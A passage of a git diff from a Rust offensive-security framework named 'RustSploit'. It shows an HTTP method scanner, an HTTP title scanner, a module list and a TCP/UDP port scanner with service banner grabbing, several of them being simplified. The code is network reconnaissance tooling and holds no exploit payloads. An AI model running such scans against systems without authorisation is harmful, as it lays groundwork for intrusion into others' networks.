.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
let mut total_success = 0usize;
let mut total_errors = 0usize;
let start_time = Instant::now();
println!("{}", format!("[*] Scanning {} target(s) with {} methods each...",
normalized.len(), METHODS.len()).cyan().bold());
for target in &normalized {
println!("\n{}", format!("=== Target: {} ===", target).bold());
let mut method_results = Vec::new();
for &method_name in METHODS {
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
let body = match method_name {
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
_ => None,
};
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
let elapsed = start.elapsed();
match response {
Ok(resp) => {
let status = resp.status();
let ok = status.is_success();
if ok {
total_success += 1;
if verbose {
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green());
} else {
println!("{}", format!(" [{}] {}", method_name, status).green());
}
} else {
if verbose {
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow());
} else {
println!("{}", format!(" [{}] {}", method_name, status).yellow());
}
}
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
total_errors += 1;
if verbose {
println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red());
} else {
println!("{}", format!(" [{}] error: {}", method_name, err).red());
}
method_results.push(MethodResult {
method: method_name,
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
});
}
}
}
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
});
}
let total_elapsed = start_time.elapsed();
let total_requests = normalized.len() * METHODS.len();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Targets: {}", normalized.len());
println!(" Methods tested: {}", METHODS.len());
println!(" Total requests: {}", total_requests);
println!(" Successful: {}", total_success.to_string().green());
println!(" Errors: {}", total_errors.to_string().red());
println!(" Duration: {:.2}s", total_elapsed.as_secs_f64());
if total_elapsed.as_secs() > 0 {
println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64());
}
if save_output {
let default_name = format!(
"http_method_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
fn banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ HTTP Method Capability Scanner ║".cyan());
println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
format!("{}://{}", default_scheme, target)
};
if unique.insert(formatted.clone()) {
normalized.push(formatted);
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(mut url) = Url::parse(target) {
for port in ports {
if url.set_port(Some(*port)).is_ok() {
let final_url = url.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Method Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for target in results {
lines.push(format!("Target: {}", target.target));
for method in &target.results {
if let Some(status) = method.status {
lines.push(format!(
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method, error, method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n"))
.with_context(|| format!("Failed to write report to {}", path))
}
+17 -388
View File
@@ -1,404 +1,33 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use colored::*;
use anyhow::{Result, Context};
use regex::Regex;
use reqwest::{Client, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::{Duration, Instant};
use reqwest::Client;
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
if !check_http && !check_https {
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
return Ok(());
}
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_secs = prompt_timeout()?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let mut normalized = normalize_targets(targets, check_http, check_https);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let client = Client::builder()
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
let mut all_results = Vec::new();
let mut success_count = 0usize;
let mut error_count = 0usize;
let start_time = Instant::now();
let total_targets = normalized.len();
println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold());
println!();
for (idx, url) in normalized.iter().enumerate() {
// Progress indicator
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
io::stdout().flush().ok();
}
match fetch_title(&client, url, &title_re).await {
Ok(result) => {
if let Some(title) = &result.title {
println!("\r{}", format!("[+] {} -> {}", url, title).green());
success_count += 1;
} else if let Some(status) = result.status {
if status.is_success() {
println!("\r{}", format!("[+] {} -> <no title> (status: {})", url, status).green());
success_count += 1;
} else {
println!("\r{}", format!("[~] {} -> <no title> (status: {})", url, status).yellow());
}
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
for scheme in ["http", "https"] {
let url = format!("{}://{}", scheme, target);
match client.get(&url).send().await {
Ok(resp) => {
let text = resp.text().await.unwrap_or_default();
if let Some(cap) = title_re.captures(&text) {
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
} else {
println!("\r{}", format!("[~] {} -> <no title>", url).yellow());
println!("[+] {} -> <no title>", url);
}
if verbose {
if let Some(status) = result.status {
println!(" Status: {}", status);
}
println!(" Duration: {} ms", result.duration_ms);
}
all_results.push(result);
}
Err(err) => {
println!("\r{}", format!("[-] {} -> error: {}", url, err).red());
error_count += 1;
all_results.push(TitleResult {
url: url.clone(),
status: None,
title: None,
error: Some(err.to_string()),
duration_ms: 0,
});
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
let elapsed = start_time.elapsed();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Total scanned: {}", total_targets);
println!(" Successful: {}", success_count.to_string().green());
println!(" Errors: {}", error_count.to_string().red());
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
if elapsed.as_secs() > 0 {
println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64());
}
if save_output {
let default_name = format!(
"http_title_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
struct TitleResult {
url: String,
status: Option<StatusCode>,
title: Option<String>,
error: Option<String>,
duration_ms: u128,
}
impl TitleResult {
fn display_title(&self) -> String {
match (&self.title, &self.error) {
(Some(title), _) => title.clone(),
(None, Some(err)) => format!("error: {}", err),
(None, None) => "<no title>".to_string(),
}
}
}
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
let start = std::time::Instant::now();
let response = client.get(url).send().await.context("Request failed")?;
let status = response.status();
let text = response.text().await.unwrap_or_default();
let title = title_re
.captures(&text)
.and_then(|cap| cap.get(1))
.map(|m| sanitize_title(m.as_str()));
let duration = start.elapsed().as_millis();
Ok(TitleResult {
url: url.to_string(),
status: Some(status),
title,
error: None,
duration_ms: duration,
})
}
fn sanitize_title(raw: &str) -> String {
raw
.lines()
.map(|line| line.trim())
.filter(|line| !line.is_empty())
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(200)
.collect()
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
if target.starts_with("http://") || target.starts_with("https://") {
if unique.insert(target.to_string()) {
normalized.push(target.to_string());
}
continue;
}
if check_https {
let https = format!("https://{}", target);
if unique.insert(https.clone()) {
normalized.push(https);
}
}
if check_http {
let http = format!("http://{}", target);
if unique.insert(http.clone()) {
normalized.push(http);
}
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_timeout() -> Result<u64> {
let input = prompt("Request timeout in seconds (default 10): ")?;
if input.is_empty() {
return Ok(10);
}
match input.parse::<u64>() {
Ok(val) if val > 0 => Ok(val),
_ => {
println!("[!] Invalid timeout, using default (10s)");
Ok(10)
}
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Title Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for result in results {
let status_text = result
.status
.map(|s| s.as_u16().to_string())
.unwrap_or_else(|| "n/a".to_string());
lines.push(format!(
"{} | status: {:<5} | title: {}",
result.url,
status_text,
result.display_title()
));
if result.duration_ms > 0 {
lines.push(format!(" duration: {} ms", result.duration_ms));
}
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
}
fn banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ HTTP Title Scanner ║".cyan());
println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
-3
View File
@@ -4,6 +4,3 @@ pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod http_method_scanner;
pub mod dns_recursion;
pub mod ssh_scanner;
File diff suppressed because it is too large Load Diff
+79 -425
View File
@@ -1,20 +1,17 @@
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[derive(Debug, Clone)]
#[derive(Debug)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
@@ -22,109 +19,17 @@ pub struct ScanSettings {
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
})
}
@@ -139,7 +44,6 @@ pub async fn run_interactive(target: &str) -> Result<()> {
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
@@ -154,284 +58,115 @@ pub async fn run_with_settings(
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
_verbose: bool,
verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
let start_time = Instant::now();
// Resolve domain or IP
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
let mut tasks = vec![];
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
// TCP Scan loop
println!("[*] Starting TCP scan...");
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
progress_bar.lock().unwrap().increment();
});
tcp_tasks.push(handle);
tasks.push(handle);
}
// UDP Scan
let mut udp_tasks = vec![];
// UDP Scan loop
if scan_udp_enabled {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
println!("[*] Starting UDP scan...");
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
progress_bar.lock().unwrap().increment();
});
udp_tasks.push(handle);
tasks.push(handle);
}
}
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
for task in tasks {
let _ = task.await;
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
println!("[*] Scan complete. Results saved to {}", output_file);
Ok(())
}
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
/// === TCP Port Scanner (Banner Grab) ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
Ok(Ok(stream)) => {
let mut buf = [0u8; 1024];
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
